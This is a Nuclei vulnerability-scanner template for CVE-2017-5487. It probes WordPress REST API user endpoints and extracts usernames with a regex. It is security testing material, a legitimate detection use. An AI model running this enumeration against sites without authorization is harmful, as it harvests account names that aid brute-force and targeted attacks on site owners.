my-nuclei-templates/CVE-2017-5487.yaml

43 lines
1.1 KiB
YAML

id: CVE-2017-5487
info:
name: WordPress Core < 4.7.1 - Username Enumeration
author: Manas_Harsh,daffainfo,geeknik
severity: info
description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
tags: cve,cve2017,wordpress
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-5487
- https://www.exploit-db.com/exploits/41497
requests:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/users/"
- "{{BaseURL}}/?rest_route=/wp/v2/users/"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
- type: word
words:
- '"id":'
- '"name":'
- '"avatar_urls":'
condition: and
extractors:
- type: regex
part: body
regex:
- '"name":"[^"]*"'